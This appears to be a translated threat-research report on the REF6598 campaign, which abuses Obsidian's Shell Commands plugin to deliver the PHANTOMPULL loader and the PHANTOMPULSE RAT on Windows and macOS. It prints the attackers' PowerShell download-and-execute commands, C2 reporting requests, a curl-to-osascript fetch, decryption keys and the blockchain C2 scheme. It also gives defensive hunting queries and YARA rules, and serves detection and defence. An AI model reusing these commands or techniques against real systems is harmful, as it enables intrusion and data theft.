Phantom en la bóveda: Obsidiana abusada para entregar PhantomPulse RAT

Una publicación posterior proporcionará un análisis técnico más profundo del propio PHANTOMPULSE, cubriendo con mayor detalle sus motores de inyección, internos de persistencia y protocolo C2.

Preámbulo

Elastic Security Labs identificó una novedosa campaña de ingeniería social que abusa de la popular aplicación de toma de notas, Obsidian, como vector de acceso inicial. La campaña, que seguimos como REF6598, se dirige a individuos de los sectores financiero y de criptomonedas mediante una elaborada ingeniería social en LinkedIn y Telegram. Los actores maliciosos abusan del ecosistema legítimo de plugins comunitarios de Obsidian, específicamente de los Shell Commands y Hider , para ejecutar código en silencio cuando una víctima abre una bóveda en la nube compartida.

En la intrusión observada, Elastic Defend detectó y bloqueó el ataque en la fase inicial, impidiendo que los actores de la amenaza lograran sus objetivos en la máquina de la víctima.

La cadena de ataques es multiplataforma, con rutas de ejecución dedicadas tanto para Windows como para macOS. En Windows, un cargador intermedio descifra y carga de forma reflexiva las cargas útiles completamente en memoria usando AES-256-CBC, la ejecución de callback en cola de temporizadores y múltiples técnicas de antianálisis. La cadena culmina con el despliegue de un RAT previamente no documentado al que llamamos PHANTOMPULSE, una puerta trasera fuertemente generada por IA, con todas sus funciones, resolución C2 basada en blockchain e inyección avanzada de procesos mediante pisoteamiento de módulos. En macOS, el ataque despliega un dropper AppleScript ofuscado con un mecanismo de resolución C2 basado en Telegram.

Esta publicación detallará toda la cadena de ataques, desde la ingeniería social hasta el análisis final de la carga útil, y proporcionará orientación para detectar e indicar de compromiso.

Conclusiones clave

• PHANTOMPULSE es un novedoso Windows RAT asistido por IA, que cuenta con resolución C2 basada en blockchain mediante datos de transacciones Ethereum y técnicas de inyección distintas
• Identificamos una debilidad en el mecanismo C2 que permite que los respondedores tomen el control de los implantes
• Obsidiana fue abusada para el acceso inicial de un ataque de ingeniería social
• Cadena de ataques multiplataforma dirigida tanto a Windows como a macOS
• La carga útil de macOS emplea un dropper AppleScript de varias etapas con un dead-drop de Telegram para la resolución de respaldo C2
• PHANTOMPULL es un cargador personalizado en memoria que entrega PHANTOMPULSE

Resumen de la campaña

Los actores de la amenaza operan bajo la apariencia de una firma de capital riesgo, iniciando el contacto con los objetivos a través de LinkedIn. Tras el primer encuentro, la conversación se traslada a un grupo de Telegram donde participan varios supuestos socios, lo que da credibilidad a la interacción. La discusión voltea en torno a los servicios financieros, específicamente las soluciones de liquidez de criptomonedas, creando un contexto empresarial plausible.

Se le pide al objetivo que emplee Obsidian, presentado como la "base de datos de gestión" de la compañía, para acceder a un panel de control compartido. Al objetivo se le proporcionan credenciales para conectarse a una bóveda alojada en la nube controlada por el atacante.

Esta bóveda es el vector de acceso inicial. Una vez abierto en Obsidian, se indica al objetivo que habilite la sincronización de los plugins comunitarios. Luego de eso, los plugins trojanizados ejecutan silenciosamente la cadena de ataques.

Acceso inicial

Se activó una alerta de comportamiento de Elastic Defend en una ejecución sospechosa de PowerShell con Obsidian como proceso padre. Esto llamó nuestra atención inmediatamente. Inicialmente, sospechábamos de un binario no confiable que se hacía pasar por Obsidiana. Sin embargo, tras inspeccionar la firma y el hash del código del proceso principal, parecía ser el binario legítimo de Obsidian.

Pivotando sobre la pila de llamadas de eventos de proceso para determinar si estaba involucrada una DLL de carga lateral o una región de memoria sin respaldo, confirmamos que la creación del proceso se originó directamente desde Obsidian.

Luego investigamos los archivos circundantes en busca de signos de inyección de JavaScript mediante modificación de archivos de dependencia o .asar malicioso Archivar la plantación. Todo parecía una instalación limpia y legítima de Obsidian sin código de terceros. En ese momento, decidimos instalar Obsidian nosotros mismos y explorar qué opciones podría abusar un atacante para lograr la ejecución de comandos.

Lo primero que llamó la atención fue la posibilidad de iniciar sesión en una bóveda sincronizada con Obsidian con email y contraseña.

La función de sincronización de bóveda de Obsidian permite sincronizar notas y archivos entre dispositivos y plataformas. Mientras revisaba los archivos de la bóveda remota maliciosa bajo el archivo .obsidian Hall hall pruebas de que se instaló el plugin comunitario Shell Commands:

C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

El plugin Shell Commands permite a los usuarios ejecutar comandos de shell específicos de la plataforma basados en disparadores configurables como el inicio de Obsidian, el cierre, cada N segundos, y otros.

El contenido de data.json confirmó nuestra teoría: los comandos configurados coincidían exactamente con lo que observamos en la alerta de comportamiento original de PowerShell.

Para validar toda la cadena de ataques, intentamos replicar el comportamiento de extremo a extremo en dos máquinas, un host y una máquina virtual usando una licencia de pago de Obsidian Sync. En el host, instalamos el plugin de comunidad Shell Commands con un comando personalizado configurado para generar notepad.exe al arrancar. En la máquina virtual, iniciamos sesión en la misma cuenta de Obsidian y nos conectamos a la bóveda remota.

La bóveda sincronizada en la VM recibía los archivos de configuración base (app.json, appearance.json, core-plugins.json, workspace.json), pero notablemente el directorio plugins/ y community-plugins.json estaban completamente ausentes. Esto se debe a que la configuración de Sincronización de Obsidian expone dos interruptores separados: "Lista de plugins de comunidad activa" y "Plugins de la comunidad instalada", ambos deshabilitados por defecto y son preferencias locales del lado del cliente que no se propagan mediante sincronización.

Como se muestra a continuación, los plugins y community_plugins manifiesto no se sincronizan automáticamente (cualquier archivo dentro del .obsidian directorio).

Sin embargo, una vez habilitado, el plugin Shell Commands activa inmediatamente la ejecución de comandos definidos por el atacante al abrir el vault:

Esto significa que un atacante no puede forzar remotamente la instalación o habilitación de un plugin comunitario solo mediante la sincronización del refugio. La víctima debe activar manualmente la sincronización de plugins comunitarios en su dispositivo antes de que la configuración de plugin armado se desactive y se active la ejecución.

En el caso que investigamos, el atacante proporcionó las credenciales de la cuenta de Obsidian directamente a la víctima como parte de un señuelo de ingeniería social, probablemente indicándole que iniciara sesión, habilitara la sincronización de plugins comunitarios y se conectara al refugio preconfigurado. Una vez completados esos pasos, el plugin de Comandos de Shell y su configuración data.json se sincronizaban automáticamente, y en el siguiente disparador configurado, la carga útil se ejecutaba sin más interacción.

Aunque este ataque requiere ingeniería social para cruzar el límite de sincronización de plugins comunitarios, la técnica sigue siendo notable: abusa de una función legítima de aplicación como canal de persistencia y ejecución de comandos, la carga útil reside íntegramente dentro de archivos de configuración JSON que probablemente no activarán firmas antivirus tradicionales, y la ejecución es transferida por una aplicación Electron firmada y confiable, haciendo que la detección basada en procesos padres sea la capa crítica.

Junto con el plugin Shell Commands, el autor empleó Hider (v1.6.1), un plugin de limpieza de interfaz que oculta elementos de interfaz. Con cada opción de ocultación activada, la siguiente es la configuración:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Cadena de ejecución de Windows

Etapa 1

El comando Windows del plugin Shell Commands contenía dos llamadas Invoke-Expression con cadenas codificadas en Base64 que se decodifican a lo siguiente:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

Esto descargará un script PowerShell de segunda etapa desde una dirección IP codificada y lo ejecutará.

Etapa 2

El script descargado de PowerShell (script1.ps1) implementa un mecanismo de entrega del cargador con un sistema de notificación al operador incorporado. El script emplea BitsTransfer para descargar el binario de la siguiente etapa e informa de su progreso al C2.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

Tras la descarga, el script verifica la existencia del archivo y reporta el resultado al C2 en 195.3.222[.]251/stuk-phase. Parece que los caracteres agregados (G, R) al Mensaje de Estado, declarando GREEN o RED como código de color de estado. A continuación se muestra una tabla con todos los mensajes de estado:

El parámetro de tag (Obsidian) enviado con cada actualización de estado identifica la campaña o vector de infección, lo que sugiere que los operadores podrían estar ejecutando múltiples campañas simultáneas.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Cargador - PHANTOMPULL

Este cargador es un ejecutable de Windows PE de 64 bits que extrae una carga útil de PE cifrada con AES-256-CBC de sus propios recursos, la descifra y la carga de forma reflexiva en la memoria. Esta carga útil en memoria descarga la siguiente etapa desde el dominio (panel.fefea22134[.]net) a través de HTTPS.

La carga útil de la tercera etapa (PHANTOMPULSE) se descifra y carga de forma reflexiva mediante DllRegisterServer. Este cargador, al que llamamos PHANTOMPULL, incluye resolución de API en tiempo de ejecución y ejecución basada en cola de temporizador. Este ejemplo incluye formas menores de evasión/ofuscación, junto con código muerto; Estas técnicas se emplean como un truco anti-análisis para hacer perder el tiempo del analista investigando el malware.

Flujo de ejecución

Etapa 1

Etapa 2

Comprobación de integridad falsa

El cargador comienza con un arranque extraño usando un protector de código muerto que compara GetTickCount() con el valor hexagonal (0xFFFFFFFE) — un valor que corresponde a aproximadamente 49,7 días de funcionamiento continuo del sistema, haciendo que la condición sea prácticamente inalcanzable. El bloque protegido contiene funciones antimanipulación convincentes pero inalcanzables diseñadas para hacer perder el tiempo de los analistas durante la ingeniería inversa.

La función de anti_tamper_integrity_checksum() también es bastante extraña; En realidad no hace hash de ninguno de los bytes subyacentes, sino que suma todas las direcciones de funciones en el binario. La suma de comprobación nunca se compara con nada; Probablemente esta sea una técnica anti-análisis destinada a hacer perder tiempo al analista e inflar el binario.

Hashing de API

Este cargador resuelve dinámicamente las funciones API en tiempo de ejecución usando el algoritmo de hash djb2 con 0x4E67C6A7semilla . Se resolvieron las siguientes APIs:

• VirtualAlloc
• VirtualProtect
• VirtualFree
• LoadLibraryA
• GetProcessAddress

Extracción de recursos + Descifrado

PHANTOMPULL almacena su carga útil cifrada en memoria dentro de sus propios recursos.

Para extraer los bytes, emplea FindResourceA, localizar el tipo de recurso (RT_RCDATA) bajo ID (101). El recurso se mapea a la memoria y se copia en una región marcada con licencias PAGE_READWRITE .

A continuación, el cargador realiza el descifrado AES-256-CBC usando BCryptOpenAlgorithmProvider. La clave está codificada en la sección .rdata

Clave: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

El IV también está codificado en la pila: A6FA4ADFC20E8E6B77E2DD631DC8FF18

Tras el descifrado, el cargador valida que la salida es un PE válido comprobando el valor mágico del encabezado MZ con una instrucción de comparación usando un valor codificado (0x0C1DF) que se XOR con (0x9B92), igual al encabezado mágico PE (0x5a4d). Este es un ejemplo de algunos de los intentos de ofuscación ligera que a menudo parecen engorrosos y no encajan.

Ejecución

En lugar de llamar directamente a la carga útil (lo cual es fácilmente detectable por los sandboxes), el cargador emplea una llamada de devolución de cola de temporizador. El retardo de 50 ms y la ejecución por hilos separados pueden evadir diversas herramientas de seguridad o sandbox.

Dentro de la callback se encuentra la funcionalidad de carga PE-reflectiva, que se emplea para ejecutar la siguiente etapa.

Esta función de carga reflectante es el componente central de ejecución. Copia las cabeceras del PE, mapea cada sección a la memoria, aplica reubicaciones de base, resuelve importaciones y establece las protecciones finales de las secciones — produciendo un PE totalmente funcional y residente en memoria que nunca toca el disco.

La ejecución se transfiere entonces a la segunda etapa mediante una instrucción indirecta de call rbp , donde RBP contiene la dirección de punto de entrada calculada del PE cargado de forma reflectante.

Segunda etapa

La segunda etapa es responsable de descargar la carga útil alojada remotamente (PHANTOMPULSE) y de emplear una técnica similar de carga reflectiva para lanzar el implante. Esta etapa comienza creando un mutex a partir de una operación XOR con dos variables globales codificadas de forma fija.

El nombre mutex para esta muestra es: hVNBUORXNiFLhYYh

Una vez creado el mutex, este código entra en un bucle persistente que intenta descargar la carga útil desde el servidor C2. Si la descarga devuelve con éxito un búfer válido, se rompe y pasa a la fase de carga reflectiva.

En caso de fallo, el código emplea un retroceso exponencial: comienza con un sueño de 5 segundos y multiplica por 1,5 veces en cada intento, con un límite de poco menos de 5 minutos. Esto evita un intervalo fijo de baliza que se imprimiría trivialmente en el tráfico de red.

La funcionalidad del descargador comienza descifrando el C2 y la URL.

El C2 y la URL se descifran usando una función simple de descifrado de cadenas que emplea una clave giratoria de 16 bytes (f77c8e40dfc17be5e74d8679d5b35341).

A continuación, el malware construye la solicitud HTTPS, agregando la cadena usando el /v1/updates/check?build=payloads URI y configurando el Agente de Usuario (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). Este loader emplea la biblioteca WinHTTP para conectarse al C2 en el puerto 443.

El malware toma el búfer de la URL C2 remota y descifra la carga útil con una clave XOR de 16 bytes (dcf5a9b27cbeedb769ccc8635d204af9)

A continuación se muestran los primeros bytes de la carga útil codificada en XOR:

A continuación se muestran los primeros bytes tras la realización del XOR:

Tras las operaciones de descarga y XOR, PHANTOMPULL analiza la carga útil y refleja la DLL usando DLLRegisterServer.

Al revisar rápidamente las cuerdas, podemos ver la puerta trasera principal, PHANTOMPULSE:

RATA - PULSO FANTASMA

PHANTOMPULSE es un sofisticado RAT de Windows de 64 bits diseñado para el sigilo, la resiliencia y el acceso remoto completo. El binario muestra fuertes indicadores de desarrollo asistido por IA: las cadenas de depuración a lo largo del código son anormalmente extensas, autodocumentadas y siguen un patrón estructurado de numeración por pasos ([STEP 1], [STEP 1/3], [STEP 2/3])

Durante nuestra investigación, descubrimos que la infraestructura C2 tenía un panel público con la marca “Phantom Panel", con una página de inicio de sesión con nombres de usuario, contraseña y campos captcha. El diseño y la estructura del panel sugieren que también fue generado por IA, coherente con los patrones de desarrollo observados en el propio RAT.

Rotación C2 a través de blockchain

PHANTOMPULSE implementa un mecanismo descentralizado de resolución de C2 empleando la infraestructura blockchain pública como punto de entrega. El método principal del malware para obtener su URL C2 es resolviéndolo a partir de datos de transacciones en cadena. Una URL C2 codificada en forma fija sirve como respaldo si la resolución blockchain falla tras repetidos intentos.

El malware consulta la API compatible con Etherscan (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc) en tres instancias de Blockscout:

• eth.blockscout[.]com (Ethereum L1)
• base.blockscout[.]com (Base L2)
• optimism.blockscout[.]com (Optimismo L2)

Cada solicitud obtiene la transacción más reciente asociada a una dirección de monedero codificada en formato rígido (0xc117688c530b660e15085bF3A2B664117d8672aA), que a su vez está cifrada por XOR en el binario. El malware analiza el campo de datos input de la transacción de la respuesta JSON, elimina el prefijo 0x , decodifica en hexadecimal los bytes en bruto y descifra el resultado por XOR usando la dirección de la billetera como clave XOR. Si la salida descifrada comienza con http, se acepta como la nueva URL activa de C2.

Esta técnica proporciona al operador una capacidad de rotación independiente de la infraestructura: publicar un nuevo punto final C2 solo requiere enviar una transacción con datos de llamada elaborados al monedero en cualquiera de las tres cadenas monitorizadas. Debido a que las transacciones en blockchain son inmutables y accesibles públicamente, el malware siempre puede localizar su C2 sin depender de una infraestructura centralizada. El uso de tres cadenas independientes agrega redundancia: incluso si el explorador de una cadena está bloqueado o no disponible, los dos restantes proporcionan rutas alternativas de resolución.

Sin embargo, este diseño introduce una debilidad significativa. La API de Blockscout devuelve todas las transacciones que involucran la dirección de la billetera, tanto enviadas como recibidas, ordenadas en orden cronológico inverso. El malware no verifica al remitente de la transacción. Esto significa que cualquier tercero que conozca la dirección de la cartera y la clave XOR (ambas recuperables del binario) puede crear una transacción hacia la cartera que contenga una carga útil de entrada competidora. Como el malware siempre selecciona la transacción más reciente, una única transacción entrante con una marca de tiempo más reciente anularía la URL C2 prevista por el operador. En la práctica, esto permite a cualquiera secuestrar la resolución C2 enviando una URL de 'sinkhole' codificada con el mismo esquema XOR, redirigiendo efectivamente a todos los hosts infectados lejos de la infraestructura del atacante.

Comunicación C2

PHANTOMPULSE emplea WinHTTP para la comunicación C2, cargando dinámicamente winhttp.dll y resolviendo todas las funciones necesarias en tiempo de ejecución. La infraestructura C2 está construida en torno a cinco endpoints API:

El latido del corazón envía telemetría completa del sistema como JSON, incluyendo modelo de CPU, GPU, RAM, versión del sistema operativo, nombre de usuario, nivel de privilegio, IP pública, productos antivirus instalados, aplicaciones instaladas y los resultados de la ejecución del último comando.

Command table

El despachador de comandos analiza las respuestas JSON del C2 para extraer y hashear comandos mediante el algoritmo djb2 . Este hash se procesa mediante una sentencia switch-case para ejecutar la lógica correspondiente, como se ve en el pseudocódigo a continuación:

Cadena de ejecución en MacOS

Fase 1: AppleScript vía osascript

El comando macOS del plugin de Shell ejecuta una carga útil codificada en Base64 a través de osascript.

La carga útil decodificada realiza dos acciones principales:

Persistencia del LaunchAgent: Crea una plist persistente del LaunchAgent en ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configurada con KeepAlive y RunAtLoad configurada para true, cerciorando que la carga útil de la segunda etapa se ejecute en cada inicio de sesión y se resetear si se termina.

Ejecución en segunda etapa: El LaunchAgent ejecuta un dropper AppleScript muy ofuscado a través de /bin/bash -c canalizado en osascript.

Etapa 2: Dropper de AppleScript ofuscado

La carga útil de la segunda etapa es un dropper AppleScript ofuscado que emplea múltiples técnicas de evasión.

Ofuscación de cadenas: Todas las cadenas sensibles (dominios, URLs, valores de user-agent) se construyen en tiempo de ejecución usando llamadas ASCII character, character idy string id , evitando la extracción estática de cadenas:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Variables señuelo: Se definen numerosas variables no empleadas con nombres y valores aleatorios para aumentar la entropía y dificultar el análisis.

Concatenación fragmentada: Las cadenas se dividen entre métodos de codificación mixtos, combinando fragmentos literales con búsquedas por ID de carácter para evitar la coincidencia de patrones.

Resolución C2 con respaldo de Telegram

El cuentagotas implementa una estrategia de resolución C2 en capas:

1. Principal: Itera sobre una lista de dominios codificada (incluyendo 0x666[.]info), enviando una solicitud POST con el cuerpo "check" para validar la disponibilidad de C2
2. Respaldo: Si el dominio principal es inaccesible, extrae un canal público de Telegram (t[.]me/ax03bot) para extraer un dominio de respaldo
   

Esta técnica de deaddrop de Telegram permite a los operadores rotar la infraestructura C2, haciendo que el bloqueo basado en dominio sea insuficiente como única mitigación.

Recuperación de carga útil

Una vez resuelto un C2, el script descarga y canaliza directamente una carga útil de segunda etapa a osascript:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
  -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

El identificador de la víctima (txid) y el selector de módulo (bmodule) se envían como parámetros POST. Se espera que la respuesta sea otra carga útil de AppleScript ejecutada de inmediato. En el momento del análisis, los servidores C2 para la cadena macOS estaban fuera de línea, lo que impidió la recopilación de etapas posteriores.

Análisis de infraestructura

Actividad de cartera

Al examinar la actividad en cadena para la cartera codificada en fija (0xc117688c530b660e15085bF3A2B664117d8672aA) se revela el historial de rotación C2 del operador. Las dos transacciones más recientes son autotransferencias (cartera a sí misma), cada una codificando una URL C2 diferente en los datos de entrada de la transacción:

El uso de un dominio de túnel Cloudflare (trycloudflare[.]com) como punto final C2 previo es notable, ya que permite al operador exponer un servidor local a través de la infraestructura de Cloudflare sin registrar un dominio, proporcionando una capa adicional de anonimato.

La cartera se financió inicialmente el 12de febrero de 2026a las 21:39:47 UTC por una cuenta separada (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) con una transferencia de 5,84 $ y un campo de entrada vacío (0x), confirmando que se trataba únicamente de una transacción de financiación. La propia cartera de financiación realizó aproximadamente 50 transacciones en los últimos tres meses, lo que proporciona un posible punto de inflexión para descubrir campañas adicionales operadas por el mismo actor amenazante.

Servidor de etapas de carga útil

El servidor inicial de entrega de carga útil en 195.3.222[.]251 está alojado en AS 201814 (MEVSPACE sp. z o.o.), un proveedor de alojamiento polaco.

Panel PhantomPulse C2

El dominio fefea22134[.]net resuelve a IPs de Cloudflare (104.21.79[.]142 y 172.67.146[.]15), lo que indica que el panel C2 está detrás del proxy de Cloudflare. El DNS pasivo histórico muestra que el dominio se resolvió por primera vez el 12-03-2026, con resoluciones anteriores apuntando a IPs diferentes (188.114.97[.]1 y 188.114.96[.]1) el 20-03-2026.

El dominio emplea un certificado Let's Encrypt observado por primera vez el 12-03-2026:

• Serial: 5130b76e63cd41f11e6b7c2a77f203f72b4
• Huella dactilar: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
• Validez: 2026-02-19 to 2026-05-20

La fecha de emisión del certificado (19 de febrero) coincide con el panel.fefea22134[.]netde codificación de transacciones de rotación C2 de blockchain más reciente, lo que sugiere que la infraestructura se aprovisionó el mismo día que se publicó la URL C2 en cadena de seguridad.

Conclusión

REF6598 demuestra cómo los actores de amenazas siguen encontrando vectores de acceso iniciales creativos abusando de aplicaciones de confianza y empleando ingeniería social dirigida. Al abusar del ecosistema de plugins comunitarios de Obsidian en lugar de explotar una vulnerabilidad de software, los atacantes eluden por completo los controles de seguridad tradicionales, confiando en la funcionalidad prevista de la aplicación para ejecutar código arbitrario.

En la intrusión observada, Elastic Defend detectó y bloqueó la cadena de ataque en la fase inicial antes de que PHANTOMPULSE pudiera ejecutar, impidiendo que el actor amenazante alcanzara sus objetivos. Las protecciones conductuales se activaron en la ejecución anómala del proceso originado en Obsidian, deteniendo la entrega de la carga útil en seco.

Las organizaciones de los sectores financiero y de criptomonedas deben ser conscientes de que las herramientas legítimas de productividad pueden convertir en vectores de ataque. Los defensores deberían monitorizar la creación anómala de procesos hijos por parte de aplicaciones como Obsidian y aplicar políticas de plugins a nivel de aplicación siempre que sea posible. Los indicadores y la lógica de detección proporcionados en esta investigación pueden emplear para identificar y responder a esta actividad.

Elastic Security Labs continuará monitorizando REF6598 para futuros desarrollos, incluyendo cargas útiles adicionales para macOS una vez que la infraestructura C2 asociada esté activa.

MITRE ATT&CK

Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.

Táctica

La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.

• Acceso inicial
• Ejecución
• Persistencia
• Escalada de privilegios
• Evasión de defensa
• Colección
• Descubrimiento
• Comando y control

Técnicas

Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.

• Phishing: Spearphishing a través de un servicio
• User Execution: Malicious File
• Intérprete de comandos y scripting: PowerShell
• Intérprete de comandos y scripts: AppleScript
• Deobfuscate/Decode Files or Information
• Carga de código reflectante
• Evasión de virtualización/sandbox: evasión basada en el tiempo
• Inyección de proceso
• Tarea/Trabajo programado: Tarea programada
• Ejecución automática de arranque o inicio de sesión: Modificación Plist
• Captura de entrada: registro de teclas
• Captura de pantalla
• Detección de información del sistema
• Mecanismo de control de elevación por abuso: UAC de bypass

Detectando REF6598

Detección

A lo largo del análisis de este conjunto de intrusiones, se observaron las siguientes reglas de detección y eventos de prevención de comportamiento:

• Argumentos sospechosos en Powershell de Windows

Prevención

• Suspicious PowerShell Execution (Ejecución sospechosa de PowerShell)
• Módulo de red cargado desde una memoria sospechosa sin respaldo
• Ejecución de cadenas codificadas en Base64 vía osascript

Consultas de búsqueda en Elastic

Estas consultas de caza se emplean para identificar la presencia del plugin de comandos de shell de la comunidad Obsidian, así como la ejecución resultante de los comandos:

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

Elastic Security creó reglas YARA para identificar esta actividad. A continuación se muestran las reglas YARA para identificar el PHANTOMPULL y PHANTOMPULSE

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Observaciones

En esta investigación se discutieron los siguientes observables.